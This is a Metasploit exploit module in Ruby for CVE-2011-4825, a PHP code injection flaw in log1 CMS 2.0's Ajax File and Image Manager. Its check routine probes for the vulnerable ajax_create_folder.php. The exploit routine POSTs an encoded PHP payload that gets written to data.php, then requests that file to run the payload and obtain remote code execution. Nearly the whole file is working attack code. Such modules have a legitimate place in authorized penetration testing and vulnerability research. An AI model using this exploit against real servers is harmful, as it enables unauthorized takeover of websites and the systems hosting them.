Log1 CMS writeInfo() PHP Code Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Log1 CMS writeInfo() PHP Code Injection",
   'Description'    => %q{
     This module exploits the "Ajax File and Image Manager" component that can be
    found in log1 CMS.  In function.base.php of this component, the 'data' parameter
    in writeInfo() allows any malicious user to have direct control of writing data
    to file data.php, which results in arbitrary remote code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'EgiX',     #Found the bug in ajax_create_folder.php
     'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
     'sinn3r'    #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2011-4825'],
     ['OSVDB', '76928'],
     ['EDB', '18075'],  #Egix's advisory
     ['EDB', '18151']   #Adel's
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['log1 CMS 2.0', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 11 2011",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
   ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php"
  })

  if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  peer = "#{rhost}:#{rport}"
  php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|

  print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)")
  send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php",
   'data'   => php
  })

  print_status("#{peer} - Requesting data.php")
  send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php"
  })

  handler
 end
end